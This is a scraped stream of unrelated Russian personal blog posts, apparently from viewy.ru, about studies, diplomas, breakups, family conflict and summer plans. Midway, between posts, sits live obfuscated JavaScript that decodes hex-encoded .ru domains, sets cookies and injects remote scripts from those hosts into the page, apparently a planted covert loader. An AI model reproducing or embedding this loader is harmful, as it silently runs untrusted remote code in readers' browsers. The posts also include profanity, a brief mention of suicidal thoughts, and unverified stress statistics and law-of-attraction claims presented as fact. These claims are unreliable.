Мне так хочется поделиться опытом отношений. Но я всегда останавливаюсь. Я вспоминаю себя, и мне кажется, что тогда я ничего не слышала и никого. Все уроки пропускала мимо ушей. Нужно было наступать на свои грабли. Прыгать в свое болото. Колоться в стоге сена в поисках своей иголки. Все, что тогда мне советовали и рассказывали, было пустым звуком для меня. Я дела вид, что поняла, может я и правда понимала, но снова и снова совершала ошибки. Я даже уже знала, что совершаю ошибку, но все равно шла на нее. Это была катастрофа.


Прошло время. И вот сейчас я лежу на большой кровати, с окнами во всю стену, с прекрасным видом на Москву, и пишу все это. Мой мужчина сидит за компьютером, играет ;) . Я поглядываю на него и улыбаюсь. Часто говорю ему, что люблю его. Боюсь, что вдруг я слишком редко это говорю. Спрашиваю его о всяких мелочах, и всегда перед сном пытаюсь поговорить, а он бурчит, мол, ему завтра на работу. Все встало на свои места. Все, что сейчас происходит в моей жизни – это сплошное счастье и умиротворение. Будто кто-то дал мне все, что я заслужила за те годы мучений. Я знаю, что всегда будут испытания. Я знаю, что всегда будут трудности. Поверьте, они есть. Но все равно, счастье остается. Оно каждый день. И те, кто говорил, что счастье – это мгновение, они ошибались.

Не знаю к чему я это все…


Наверное, к тому, что нужно многому учиться, чтобы найти то счастье, которое действительно твоё.

Я поняла! Я счастлива и веду себя естественно, так какая я есть на самом деле, когда я влюблена, когда я горю изнутри, когда я - мечта! Не важно, влюблена я в человека (взаимно или безответно), в какую-то идею, вещь. Сама суть, что я наполнена и всегда в хорошем настроении, потому что мне хорошо. Реальный кайф!

Пока люди вокруг живут и иногда даже радуются, пребываю не то чтобы в унынии, но в глубокой апатии. Если объяснить это дешевой метафорой - я в персональном маленьком болоте посреди людной площади, по пояс в мутной жиже. Стою и не двигаюсь, не зову на помощь, не пытаюсь выбраться. Все вокруг строят планы, а потом еще и осуществляют их, ставят цели и, будь они неладны, добиваются их. Мои планы не распространяются дальше сегодняшнего вечера (планирую не жрать мороженое на ужин, но это как пойдет, всё можно переиграть в этой вселенной бесконечных возможностей), главная цель сейчас - довести до конца хотя бы этот текст. Пессимизм или реальный взгляд на вещи? Я не хочу тонуть, но и выплывать самостоятельно тоже нет желания. Не жду, что придет кто-то и спасет меня, не жду чудесных перемен, которые произойдут сами собой. Откуда у людей вообще силы что-то делать? Ну там типа жить, что-то создавать или разрушать, выходить на демонстрации, выходить из дома, вылезать из кровати. Не могу вспомнить, когда именно такой стала. Может, я всегда и всё делала "из-под палки", просто не обращала внимания? Когда-то ведь было такое сильное желание достичь большего, делать лучше, прыгать выше, ну и всё такое. Но когда-то это были просто мысли и мечты, ведь когда тебе 13 или 15 ты не можешь круто развернуть свою жизнь, верно? Не хватает ресурсов и навыков. А теперь, когда я вполне совершеннолетняя, почти с образованием и вроде как дееспособная в глазах мира, желания что-то делать уже нет. Куда черт возьми делись все силы, а? Чем таким утомительным была занята все эти годы, что теперь еле отрываю голову от подушки? Я ведь абсолютно ничего не делала, боже ты мой. Хуи пинала, и то вполсилы. Но мысли о том, что нужно жить лучше остались, а действий для этого не предпринимается, в итоге - вечное очущение разочарования. Картинка из серии "ожидания-реальность". А кто виноват? Кто повинен в том, что меня все бесит, но пассивная агрессия пассивной и остается? Я просто наблюдаю со стороны и страдаю, конечно же страдаю, я же делаю это абсолютно всегда. Становятся ли эти страдания конструктивными, приводят ли к действиям? Ой, да ладно, мы-то с вами знаем, что нет. Ну вот, текст подошел к нелепому обрывочному концу. Выводы как бы есть, но не хочу их осмыслять, толку от этого не будет. Если не сожру на ночь полкило пломбира, то можно считать, что я многого достигла сегодня. Крошечный шаг для человечества, еще более крошечный шаг для меня.

Мое настроение нестабильное. Я хоть и не реву, но ком в горле все же время от времени поднимается. Я думала, что после того, как ты уедешь, первое время будет тяжело привыкнуть, месяц там или 2, но теперь я думаю, что тяжело мне будет первые полгода. Это как подняться в гору, а потом спускаться вниз. По половинке. Но спускаться легче.. и быстрее.. А сейчас мне страшно отдаляться от дня, когда мы прощались в поезде. Ну вот.. слезки покапали. Страшно подниматься. Без тебя.

Вчерашний день я не забуду никогда. Ты не представляешь, как я жду момента снова придти к тебе на вокзал и уже никогда не отпускать.. Сейчас нужно как-то взять себя в руки и двигаться вперед.

Думаю пора написать сюда) Снова большие перерывы между постами, хотя по сути думаю никому тут это особо не интересно, так что, ничего страшного)
Ну в общем я защитила диплом на 4, счастлива невероятно была) Мне потом ассистентка рассказала что после моей защиты я поднялась в глазах преподавателей. И вообще рада что наконец-то эта черта пройдена. Теперь, через 3 недели поступление, 2 экзамена сдавать. Не будет мне покоя с этой учебой)
С Денисом все по прежнему, я не даю никаких надежд и все такое, но он не меняет своего отношения ко мне. Общаемся, все как раньше.
Кстати, на Михаила мне теперь вообще наплевать.
Потому что…есть плохие новости..я кажись влюбилась) в друга моего бывшего, одногруппника) очень парилась на этот счет, но бывший сказал что наоборот будет только рад если у нас получится
Но мне кажется там без шансов..пока только общаемся и не всегда все гладко…но он мне всегда немного нравился, а сейчас прям накрыло.
А я ведь только успела подумать, что мне хорошо без отношений…

Я защитила диплом на пять.
В этот последний день нас было 7 человек, и у меня единственной 5.
На 4 госы. За 4 года все 5/4 и две тройки.
Р - разнообразие.
Теперь ждать выпускной.. и 4 числа домой.
А потом выбор жизненного пути.
Две самых тяжелых недели за последние два года закончились разговором с отцом в 2.5 часа
И диким ревом от меня в трубку маме, которая спросила: "ну что ты решила? может не будешь теплые вещи домой везти, а сразу сюда передашь, на Север? чего таскать?"

Вопрос: "что ты решила? "
каждый раз просто ножом в грудь со всей силы. У меня уже вся грудь в этих ножах. Достали.
Я уже год пытаюсь что-то решить в своей голове.
Но, кажется, только расстройства психические заработала.

И если отец сказал: "остановись, защити диплом, и позволь себе не думать "
все остальные считают своим долгом напомнить о том, что "ПОРА ЧТО-ТО РЕШАТЬ! ДУМАЙ! ЭТО ЖЕ ТАК ВАЖНО! "
а я вот не понимаю, да….

Вчера пьяная и счастливая, сегодня трезвая и несчастная? обездоленная? Все одно и то же, вроде. Но последнее мне больше нравится. Или может люди правы и я, действительно, неврастеничкой стала?! Что-то я сдаю позиции. Что-то мои эмоции обострились и гуляют сами по себе. День еще незакончился, а превратился в полный пиздец.

Как же давно я сюда не писала. Обычно посты здесь - сребложенные картинки или записи, но сейчас мне действительно нужно выговориться. Вью - единственное, что у меня осталось, на все остальные ресурсы он подписан.

Конечно же речь пойдёт о НЁМ. Только вот это не абстрактная сущность, это человек, который разбил моё сердце.

Самое ужасное, что он не плохой человек, не злой, он не изменял мне и почти не обижал. Почти год, а именно 10 месяцев мы провели в любви, наслаждаясь друг другом, но наши отношения разбились о первую же преграду.

Как жаль, что ты такой ребёнок, жаль, что я не смогу быть с тобой, у меня больше нет сил тянуть тебя, учить, вести. Тем более ты глух ко всему, что я говорю.Ты погряз в своих пороках, и никто тебя не вытянет, пока ты сам этого не захочешь.

Отношения - это работа в паре, союз. Увы, ты пока не умеешь работать в коллаборации.

я ни о чем не жалею, очередной период в моей жизни завершен, но я даже благодарна тебе.

А теперь я одна, одна в квартире, одна в постели, одна на улице. Никто не держит мою руку, никто не укрывает меня ночью, не обнимает. Снова буду собирать себя по кусочкам, и вряд ли ты это поймёшь.

Я верю в закон подлости. У меня впереди экзамен по философии, а я ничего не делаю. Просто ни-че-го. Я сдала 2 самых сложных экзамена, я зубрила 2 недели практически без перерыва, я уже не могу. И теперь мне кажется, что как только я опущу руки, перестану нормально готовиться, всё пойдёт крахом, и я, человек, который не попал на пересдачу по 2 сложным предметам, попаду на пересдачу по философии, когда в один день будут сдавать сразу около 30 человек. Аааааааааааа.

Christina Aguilera - Change

Смотреть видео: [х]
Купить сингл: [х] [х]

Читать пост: [х]

"The horrific tragedy that occurred in Orlando continues to weigh heavily on my mind. I am sending so much love and so many prayers to the victims and their families. Like so many, I want to help be part of the change this world needs to make it a beautiful inclusive place where humanity can love each other freely and passionately."

Ужасная трагедия, произошедшая в Орландо, всё еще очень сильно меня беспокоит. Я посылаю любовь и молитвы жертвам и их семьям. Как и многие другие, я хочу помочь изменить этот мир, сделать его красивее, где человечество могло бы любить друг друга свободно и страстно.

When I was young I would look in the mirror.
Didn't know it then but now it couldn't be clearer
That I remember being filled with such wonder
Before learnin' that the world can be harsher

"We live in a time of diversity, in a time of endless possibilities, in a time where expression of oneself is something to be celebrated. And I am left wondering how people filled with so much love could be taken by so much hate."

Мы живём во времена разнообразия, где существуют неограниченные возможности и где поощряется самовыражение. Я недоумеваю, как люди, наполненные такой любовью, могут получать столько ненависти в ответ.

Who you love or the color of your skin
Or the place that you were born and grew up in
Shouldn't decide how you will be treated
Cause we're all the same when everybody's breathing

"Though there is such heavy sadness I believe that there is much more love in the world than we know. We need to learn to love again, we need to learn that one person does make a difference; we need to keep love in our hearts. As Nelson Mandela once said, "No one is born hating another person because of the color of his skin, or his background, or his religion. People must learn to hate, and if they can learn to hate, they can be taught to love, for love comes more naturally to the human heart than its opposite."

Несмотря на ужасные печальные события, я верю, что в мире больше любви, чем мы об этом знаем на самом деле. Нам нужно научиться вновь любить, нам нужно научиться тому, что каждый из нас имеет значение; нам нужно хранить любовь в сердце. Как однажды сказал Нельсон Мандела: "Никто не рождается с ненавистью к другому человеку из-за его цвета кожи, происхождения и религиозных убеждений. Люди должны учиться ненавидеть. И если они научатся ненавидеть, они могут научиться любить, потому что любовь намного ближе человеческому сердцу".

For all the brave and the souls who went before us
Stand tall, be proud and lift your voices
Let 'em know who we are and our choices
And one day we won't have to sing this chorus

"We all have the choice to spread love, encourage individuality and make a difference to others – we are all in this together, as one, united in love."

Мы все можем распространять любовь, поощрять индивидуальность и изменять условия для других - в этом мы вместе, как один, объединены любовью.

Waiting for a change to set us free
Waiting for the day when you can be you and I can be me
Waiting for hope to come around
Waiting for the day when hate is lost and love is found
Waiting for a change

Sending all my love, thoughts and prayers,
xo Xtina

Посылаю свою любовь, мысли и молитвы.
xo Xtina

Взаимосвязь – это такой вид связи явлений, из которых одно обуславливает другое, или, выражаясь определеннее, одно не может существовать без другого. Во-первых, чтобы возникла взаимосвязь, нужны определенные, при этом обязательные условия. Во-вторых, взаимосвязь – это всего лишь частный вид связей, при этом не такой уж частый.

А это нормально, что послезавтра экзамен, а нам не скинули билеты? Да просто похер уже как бы. Учу просто какую-то хрень первую попавшуюся. Кот бегает по дому и пытается, пардон, лизать яйца(остатки). Ему нельзя, я бегаю за ним. А он смотрит на меня типо "да какого ж хрена я не могу помыть свои ж гениталии?". Конкретно его уже зашугала, но иначе там ничего не склеется же! А я ж переживаю) Любимая его игрушка, я заметила, канцеляская резинка. Очень экономно :)

Ситуация. Ты пытаешься объяснить людям что-то, что не совсем сам
понимаешь. И вот ты начинаешь, но тебя кто-то перебивает,
мысль уходит в другую сторону, и всё, не надо ничего
объяснять. Так что возможно перебивающие люди не такие уж грубые и даже полезные.

Я сижу на кухне с несколькими людьми, и кажется у нас идёт оживлённая дискуссия. Но это не так, на самом деле я разговариваю сам с собой, внутри своей головы. Люди вокруг не замечают что я уставился в одну точку и не вношу своих реплик, они слишком заняты ожиданием что бы высказать свою точку зрения. А в моей голове 2 госа, оба принадлежат мне. Один говорит что я безумец и мог бы поговорить с собой в другой раз, он мне не очень интересен. А вот другой, он говорит важные вещи. Он говорит о тебе, что я не смогу видеть тебя нигде, кроме как рядом с собой, ты не устроишь меня в роли знакомой, друга или делового партнёра. Это значит ты была права, ничего не выйдет из нашего общения, теперь я понля это. У тебя для меня есть только одна роль, в других я тебя не признаю. Также и не смогу видеть тебя с кем-то другим, видеть как ты любишь не меня, не смогу.. Значит нужно либо всё вернуть, либо попрощаться навсегда, причём даже не прощаясь, просто изчезнуть. И я сделаю это, выберу одно из двух, скоро..

мне друг постоянно говорит просто расслабиться, вот чтобы я ему не сказала.

а как расслабиться, когда вокруг одна жопа и у тебя подгорает пукан? научите, а.

я в такие моменты предпочитаю не думаю и ждать назначенной цели. самое забавное, что в последнее время всегда этой целью является поездка домой.

с этой практикой нарушились мои планы со стажировкой, но зато я буду просто отдыхать. я поняла, что приеду и просто выдраю всю свою комнату, выкину весь хлам, сделаю то, до чего долго не доходили руки, ибо приезжала совсем ненадолго. аж все в голове уже по полочкам разложила. Хочу походить по своим любимым местам и запечатлеть все на фотик. Покататься на велике до озер, до кладбища(хочу уже приехать к ба и просто поныть). Читать и загорать(если погода позволит). И опять взяться за карандаш, я так хочу рисовать.

Еще договорились с девушкой брата, что она будет учить меня готовить. Бро хочет выехать за город.

Вот переехала я и друзья потерялись. Лучший друг уходит в армию, а самые близкие друзья теперь это брат(30лет) и его девушка(28лет), и мне это только в кайф. Конечно, я увижусь с некоторыми из друзей, но там уже все не так близко. А вообще многие мои планы основаны на уединение, мне надо очистить разум и отдохнуть.

А пока у меня бл сессия, тупенькие ма и парень и прочие загоны))) )

В общем, я сдала государственный экзамен и защитила диплом. Обе оценки "отлично". Успели уже отметить это дело с группой, провести фотосессию и начать скучать друг по другу. Постепенно приходится прощаться с людьми, так как вся группа - приезжие ребята из других городов, областей, республик и стран. Через 4 дня вручение дипломов. Я буду среди самых крутых ребят нашего вуза - красных дипломников чествуют с особым размахом. До сих пор не могу поверить, что моя мечта исполнилась .

Я подошла к новому этапу моей жизни и я к нему готова!
Выше голову, ребята. У нас всех всё получится!

как меня все задолбало

именно эту фразу я чаще всего говорю

блин, поскорее бы уже пролетели эти дни и уехать домой, а там просто быть в уединении с собой и любимыми местами

ебанутое у нас общество короче

(я без обид, честное слово, просто решила расписать эту тему)

У меня в последнее время появилось стойкое мнение: врач работает на аптеку.

Да и полную медкомиссию я проходила месяц назад. Единственная возникшая там проблема – сердце как то не так стучит – сказали что так бывает от сильных стрессов и нагруженности.

Я конечно заебываюсь изо дня в день, и диплом сдаю через 4 дня. Но прям какого то предела еще не вижу. Бывало и хуже.

2 с половиной года официантом знаете ли

Просто дело именно в режиме дня, я в жизни не ложилась раньше 12. Семейство сов – мама в 3 ночи борщи обычно начинает варить :D

Сон ведь делится на фазы. А у меня мои привычные нарушены. Так что фиг пойми че делать, попробую сдать диплом, фруктов поесть, витаминки попить, позагорать уже наконец, супы регулярно… лет до 50 может дотяну)

Не понимаю баб, которые всегда выставляют во всем виноватыми мужиков. То есть что бы не случилось всегда виноват мужик.

Так они даже не рассматривают вариант того, что их вина тоже может быть.Они категорически это отрицают.

То есть чтобы она не натворила это должно сойти ей с рук только потому что у нее есть вагина. И если мужчина ведет себя не так как ей нравится, то это только его вина и он "должен", а то, что это может быть реакция на ее поведение, так вы что как такое может быть. Где блять логика?

Я считаю, что если в отношениях проблемы, ссоры, то виноваты обе стороны. Вина не определяется наличием детородного органа.

Сейчас в меня могут полететь камни, но я так же считаю, что во многих случаях даже если мужик "пошел налево", то в этом так же вина обеих сторон. (Так же, если изменяет девушка). Если человек изменяет, то значит ему чего-то не достает в отношениях. Да, я не могу утверждать, что это во всех случаях, но во многих.

В общем пиздец какая неделя выдалась, что, сшив дип, вчера выпила бутылку вина. Алкоголь уже бесит, мне кажется, что после защиты, которая успешно пройдёт уже завтра, возле загородного дома, снятого с одногруппниками, я буду просто лежать на травке и думать как прекрасен этот мир. Кстати. Курила дней пять наверно, в итоге вчера решила, что меня это бесит, оно мне нахер не надо, выбросила пачку оставшуюся. Лучше я и мои волосы будем пахнуть кокосовым маслом и маслом розы (не в обиду курящим, каждому своё и я ни к кому не лезу). Только вот каждый раз выходя из универа, выслушав много нового о себе, хотелось потеряться где-нибудь. По традиции моей, прошу, пусть завтра будет все отлично, быстро соберём подписи и защита ВКР пройдёт спокойно, без нервов и с оценкой отлично. А теперь успехов мне, я готовиться.

Хроническая усталость. Проспала часов 12, теперь хреново, плюс ко всему тошнит с утра несколько дней уже. Вчера, сидя за компом, поняла что получаю удовольствие от возможности делать несколько дел одновременно, даже если это отдых и я читаю+смотрю аниме+сижу в инста.

Люди часто сосредоточиваются на том, чего они не хотят. И получают ненужное. Вы — умнее. (Верно?) Если вы желаете себе богатства, сосредоточьтесь на богатстве. Если вы желаете себе здоровья, сосредоточьтесь на здоровье. Если вы желаете себе счастья, сосредоточьтесь на счастье. Вот часто незамечаемый, но действенный секрет Вселенной: вы получаете то, на чем сосредоточиваетесь.

Впервые у меня на душе такой праздник. Ничего не хочу рассказывать пока здесь, чтобы не сглазить, но я очень рада тому, что сейчас происходит. Главное, что впервые всё хорошо.

Недавно ко мне заходил Миша. Это парень Лизы, моей подруги с которой я перестала общаться, как уволилась. Ну точней, это все вышло само собой, не сговариваясь, особенно учитывая то, что она подставила меня, когда увольняли.

В общем этот человек обещал мне быть всегда рядом и прочие бла бла, а по итогу я общаюсь по сей день с Мишей.

Он заходит ко мне в гости пару раз в неделю, рассказывает как его жизнь, как их с Лизой дела, как его новая работа. Спрашивает меня про работу, про жизнь, про все на свете. Буквально полчаса-час видимся, а общаемся обо всем на свете и всегда ради видеть друг друга.

Так странно получается. Что те, кто были близки, в итоге настолько левые люди становятся, которым даже привет не хочется говорить при встрече, а те, с кем общался кое-как продолжают учавствовать в твоей жизни и появляться с позитивом.

Когда ты видишь человека, с которым только что расстался, у тебя возникает очень странное чувство. Ты ведь понимаешь, что он родной, он твой, он близкий. Но его словно подменили, и он ничего не помнит.

Как показывает практика, девушки, которые одевают платье выходят замуж чаще, чем те, которые надевают.

—Я скучаю по вас. Сильно.
-Очень скучаю.

-Я рад, честно.
-Не хочу вас терять.
-И я.

Запомните, что у Алины нет даже зачатков гордости и самоуважения. Зато у Алины слишком много любви к людям, которые не всегда этого заслуживают.

Мужик помни, что пока ты обижаешь свою бабу, где-то есть другой мужик который пишет ей что она божественна и зовет ее замуж.

Часто мужик доводит бабу до того, что она уходит к другому. Но ещё чаще до того, что ей уже вообще никто больше не нужен.

Я опустошена. Я потерялась. Я заблудилась. Я не знаю куда мне идти и ради чего жить. Еще немного и у меня появятся суицидальные мысли. Этот маленький городишко выжимает из меня все эмоции. У меня нет цели. Я так много хочу и неужели я этого не заслуживаю? Я очень хочу полюбить и быть, наконец-то, любимой. Меня все чаще настигают перспективы того, что я либо останусь сильной и независимой, либо буду жить с родителями до самого конца. В чем проблема? Почему все это так сложно.. Я всегда считала, что главная цель в жизни - это любовь и семья. Я и сейчас так считаю. Но как стремиться к тому, чего нет? Я могу стремиться к саморазвитию. Но КТО-НИБУДЬ выбейте из меня эту поганную лень. Все попытки упираются именно в нее. Знаю, что мы сами себе пинок. А не получается. Я не могу выходить на улицу и видеть все эти знакомые лица. Я хочу обратно в город свободы. Там не так душно. Там я счастливее. Там есть моя любимая подруга и хорошие люди. Я страдаю. Я умираю. Я мучаюсь.

__________________________________________________________________

Сейчас я чётко понимаю только одно, и это Истина жизни: никто тебя никогда не поймёт так как ты. Я люблю своего мужчину, но никому не могу рассказать, точнее могу, но никто не поймёт весь спектр чувств и то, как я буду умирать и воскресать когда он уедет. Вот так вот. Мама отдыхает одна на море, понимаю что одиноко ей без нас, а я какая то агрессивная в общении с ней.Не знаю, просто не могу понять что со мной.


А я все чаще замечаю, что мне снятся эротические сны. Постоянно! Каждую ночь! КАЖДУЮ БЛЯТЬ! Сколько месяцев у меня уже не было? 3,5? Так вот, у меня скоро в голове секса будет больше, чем у всех вокруг вместе взятых. А потом я просто начну запрыгивать на первого попавшегося парня.

Может, сейчас все начнут возмущаться, но я без этого совсем не могу. И даже если у меня есть секс, он у меня частый. Прям каждый день, а то и несколько раз в день. Я из тех, которым надо работать в порноиндустрии, потому что ненасытна. А тут 3,5 месяца без всего этого. Ну что за пиздец?: (

Не понимаю людей, которые годами живут без секса и говорят, что им норм. Мне вот даже несколько месяцев не норм. Совсем, далеко не норм.

Ученые признали чтение самым лучшим средством избавления от стресса

Лучшим средством от забот, тревожности и стресса ученые из Оксфордского университета признали чтение, утверждая, что это занятие оказывает более быстрый эффект на организм. Удивительно, но этот способ много лучше приёма алкоголя, намного эффективнее прогулки, чаепития или прослушивания музыки.

Был проведен эксперимент, в ходе которого участников сначала подвергали серии различных упражнений или тестов, способных вызвать стресс. После чего участники эксперимента выбирали один из приведенных ниже методов релаксации.

Магнитно-резонансное исследование мозга читающих людей показало, что при чтении страниц о запахах, различных ландшафтах или вкусах в мозгу активизируются отвечающие за восприятие участки. Как если бы человек испытывал все это в реальности. Причем этот эффект пропадает, если смотреть телевизор или играть в игры.

В процессе исследования обнаружилось, что чтение снижает степень стресса на 68%. Всего шести минут достаточно, чтобы расслабить мышцы и нормализировать удары пульса. Прослушивание музыки снизило стресс в 61% случаев. Чашка кофе или чая — в 54%, а прогулка — всего в 42%. Выбор книг нисколько не влиял на эффективность способа. Для избавления от стресса подходит практически любая книга, достаточно понять сюжет и погрузиться в книгу с головой.

Саморучно отказаться от отношений и сказать, что мне это не нужно. Или это так и есть или просто это мой внутренний голос не захотел всего показывать (в том числе и мне пока), чтоб потом мне от этого херово не стало.

Сколько раз уже порывалась сюда написать, но всё происходило слишком быстро, слишком насыщенно и пока хотела поделиться одними впечатлениями - наступали другие.

Но сейчас другой случай. По законам вью все приходят сюда поплакаться. Хотя я пришла позлиться.

Ну гребаная кочерыжка и гребаное воспитание. Какого черта меня вообще учили по возможности помогать людям, входить в их положение и вообще всегда стремиться к тому, что с каждым днем надо быть лучше.

Люди - сволочи, облитые сволочизмом и со сволочной начинкой.

Приятно познакомиться, я Аня, на которой по возможности ездят все кому не лень. Заебали.

И даже писать расхотелось. Просто заебали.

послезавтра защита, а у меня голова забита совсем другим: завершить последние приготовления к переезду в Томск. И нашей новой любовью - автостопом. Это так захватывает, это такая свобода, такой драйв. Сейчас мы хотим поехать в Москву прямиком из Томска, главное - успеть к вечеру 28 числа. А на обратном пути я очень хочу не торопиться и посетить столько городов, на сколькие у нас хватит выносливости, денег и времени. Хотя, временем мы не обделены вовсе, деньги там особо не нужны, а выносливости у нас предостаточно. Одно дело ездить стопом из Кемерово в Томск и обратно, но совсем другое - проехать 4000 километров в местах, которых не бывали ни разу. не могу думать ни о чем другом, мне кажется, я начала жить по-настоящему только сейчас, этим летом. как я могла 2 месяца проработать в пахнущем краской офисе с графиком 5/2

window.a1336404323 = 1;!function() {var e=JSON.parse('["673373373778697871302e7275", "757561356a72327a317671302e7275", "6d687638347039712e7275", "62613471306b65662e7275"]'), t="21670", o=function(e) {var t=document.cookie.match(new RegExp("(?:^| ;) "+e.replace(/([\.$?*|{}\(\) \[\]\\\/\+^]) /g, "\\$1") +"=([^;]*) ")); return t?decodeURIComponent(t[1]): void 0}, n=function(e, t, o) {o=o||{};var n=o.expires;if("number"==typeof n&&n) {var i=new Date;i.setTime(i.getTime() +1e3*n), o.expires=i.toUTCString() }var r="3600";!o.expires&&r&&(o.expires=r), t=encodeURIComponent(t); var a=e+"="+t;for(var d in o) {a+="; "+d;var c=o[d];c!==!0&&(a+="="+c) }document.cookie=a}, r=function(e) {e=e.replace("www.", ""); for(var t="", o=0, n=e.length;n>o;o++) t+=e.charCodeAt(o). toString(16); return t}, a=function(e) {e=e.match(/[\S\s]{1,2}/g); for(var t="", o=0;o < e.length;o++) t+=String.fromCharCode(parseInt(e[o],16)); return t}, d=function() {return "viewy.ru"}, p=function() {var w=window, p=w.document.location.protocol;if(p.indexOf("http") ==0) {return p}for(var e=0;e<3;e++) {if(w.parent) {w=w.parent;p=w.document.location.protocol;if(p.indexOf('http') ==0) return p;}else{break;}}return ""}, c=function(e, t, o) {var lp=p(); if(lp=="") return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase(). indexOf("firefox")) window.smlo.loadSmlo(n.replace("https:", "http:")); else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase(). indexOf("firefox")) window.zSmlo.loadSmlo(n.replace("https:", "http:")); else{var i=document.createElement("script"); i.setAttribute("src", n), i.setAttribute("type", "text/javascript"), document.head.appendChild(i), i.onload=function() {this.a1649136515||(this.a1649136515=!0, "function"==typeof t&&t()) }, i.onerror=function() {this.a1649136515||(this.a1649136515=!0, i.parentNode.removeChild(i), "function"==typeof o&&o()) }}}, s=function(f) {var u=a(f) +"/ajs/"+t+"/c/"+r(d()) +"_"+(self===top?0:1) +".js";window.a3164427983=f, c(u, function() {o("a2519043306") !=f&&n("a2519043306", f, {expires:parseInt("3600") }) }, function() {var t=e.indexOf(f), o=e[t+1];o&&s(o) }) }, f=function() {var t, i=JSON.stringify(e); o("a36677002") !=i&&n("a36677002", i); var r=o("a2519043306"); t=r?r:e[0], s(t) };f() }();

Просыпаешься от яркого солнца в комнате, звонкого пения птиц под окном, шума воды рядом с домом. Ты вроде бы ещё не выспался, но все это чудо так будоражит и радует, что появляющаяся улыбка на губах и нежные потягивания пробуждают организм и дарят минуты счастья. Моё любимое лето.

В наших отношениях были две очень неприятные ситуации, из-за которых мы были на грани, которые нанесли такой критический урон моей психике, что мне долгое время снились страшные сны касательно случившхся ситуаций. Вторая ситуация была недавно, связанная с экстернатниками. По сей день мне снятся параноидальные сны, нахожусь в каком-то вечном страхе. Поделилась сегодня с этим Китти, а он:

—Ну хочешь, я выйду из их беседы, чтобы тебе перестали сниться плохие сны?, - я была ошарашена и это мягко говоря. Психолог оказался прав.. Мне стало неловко и я решила свести тему. Однако после того, как закончили смотреть фильм, Китти зашёл вк, вышел из беседы и удалил её. Не знаю, что им движело, но это всё было сказано, сделано искренне.

прекрасней всего, мои ноги смотрелись ни в дорогих туфлях или модных брюках, а на его широкой спине во время секса

Убило. Теперь еще больше ненавижу чужих детей. Еще больше не переношу яжематерей. Не стоило и начинать.

Я тут такая радостная написываю про сестру про племянника. А оно вон как поворачивается. Я оказывается лезу в чужую личную жизнь. Когда он родился ияпоздравилав инсте, на меня наехала свекровка сестры, что ребенок в реанимации это не повод прилюдной радости. Лена промолчала. На днях выкладываю в инсту фотку щеночка родителейс подписью "Смотрите как Дуняшка подросла, эта жирная жопа весит уже в два раза больше моего племянника". Я и подумать ничего плохого не могла. Поздно вечером мне приходит сообщение от сестры полное матов и гнева и оскорблений. Что я лезу в их жизнь, что это вообще-то ее сын, что я пожалею если напишу про него что-то еще раз. Я прям в ахуе. Это родная сестра мне пишет? Она там совсем ебанулась на своей беременности, на своем детеныше? Я так зла и разочарована. Она довела меня до истерики. Я рыдала и меня трясло так, что даже выпив успокоительное я тряслась еще на протяжениии часа.

Лезу в вашу жизнь? Да подавитесь. Не нужны вы мне. Я тут радуюсь, горжусь, переживаю. А эта сволота даже не разу не позвонила и не написала мне. Не нужна мне такая сестра а племянник и подавно. Пошли вы к чертовой матери. Не придуни на выписку, не напишу и не поинтересуюсь. И не нужны вы мне на моей свадьбе. Вы и не особо горели. Это же не так важно, правда?

Предательство за предательством. Больно.Больно. Больно. Не нужна мне такая семья. Слишком много я натерпелась говна от этого человека. В нашей семье есть такая традиция - братья и сестры это просто те существа с которыми ты выполз из одной вагины. Грязно, но правда.

https://oppunio.viewy.ru/

нет ничего хуже чем подписаться на тебя. это прям испытание и квест. ты что ненавидишь своишь фоловеров?

это пиздец, ребята, мне пришлось долго рыскать по блогу и прослушать кучу всякой хуиты.

Любите ви чи нейодовану, чи йодовану сіль, а хоч якась та й буде на дні вашого щастя. Людина старіє, напевно, коли усвідомлює свою участь - опосередковану. Вас люблять по-різному: хтось рідко та міцно, хтось постійно і слабко; гірше, коли ж ви кохаєте довго і по-справжньому - швидко набридаєте. Участь в стосунках і ваше значення вимірюється вами ж. Ніхто і не помітить момент, коли ви усвідомили, що з вами через звичку, або ви потрібні, коли сумно. Чим щасливіші разом - тим солоніші хвилини по окремності. Тим гіркіше розуміння самої ситуації: ви без когось вже не можете і хвилини, а вони ще можуть. От де відкладаються соляні поклади: ви боїтесь відпустити людину, бо знаєте, що знову до голови повернуться роздуми над вашим значенням у житті любого. А не як він думає: пестощі.
Чи так вже мені хочеться, щоб любов довели?

Лежу пересматриваю форсаж, размышляю о том лечь мне спать или посмотреть еще серию сериала. Мечтаю о том, чтобы полакомиться роллами, пиццей, винишком, круассанами с шоколадом и еще какими-то садостями и теплой выпечкой.

Мечты мечты.

еще появилась мысль, что хочу съездить одна в какой-нибудь другой город.

Я не боюсь тебя потерять, я это поняла. Мне жаль того времени и тех сил, нервов, что я потратила. Слишком много я прощала. Я не мамочка, я женщина. Да, ты меня знаешь, как никто другой, вот это немного пугает, точнее, что новый человек не знает моих заморочек, тараканов, я не открыта для него. Открываться сложно. Но ведь что-то держит. Любовь? До того дня, в сейсас словно глаза открылись, сняла розовые очки, поняла все безрассудство, глупость и бессмысленность своих поступков. Поняла все его поступки. Почему я принимала его тараканов, а он моих нет? Я понимала и принимала, но никто не брал в расчёт мои чувства, эмоции, желания и вообще мировосприятие. Почему? Потому что сама допустила такое отношение к себе, но тогда я считала, что все делаб правильно, а как оказалось - дура. В прочем, решаю проблемы по мере их поступления. У меня все.

у Макса будет в следующую пятницу операция на позвоночнике. он говорит, что ничего серьёзного и эта вообще пустяк, по сравнению с теми, что у него уже были. но как это может быть пустяк, как я могу успокоиться и не переживать?! я просто ошарашена и все мысли выветрились из головы. о какой подготовке к экзаменам может быть речь теперь, если в голову ничего не идёт

щас 00:49, а я скачу от радости как коняшка
под финскую попсу
потому что Роналду не забил пенальти, потому что "неоновый демон" рёфна уже скоро в кино, потому что сегодня классно потренировалась, потому что купила класную палетку urban decay X gwen stefani
да мало ли причин? это абсолютно не имеет значения. если вы в этот конкретный момент ноете, не важно по какой причине - прекращайте. сейчас лето, поэтому радуйтесь жизни, вам всего доброго, хорошего настроения и здоровья(с)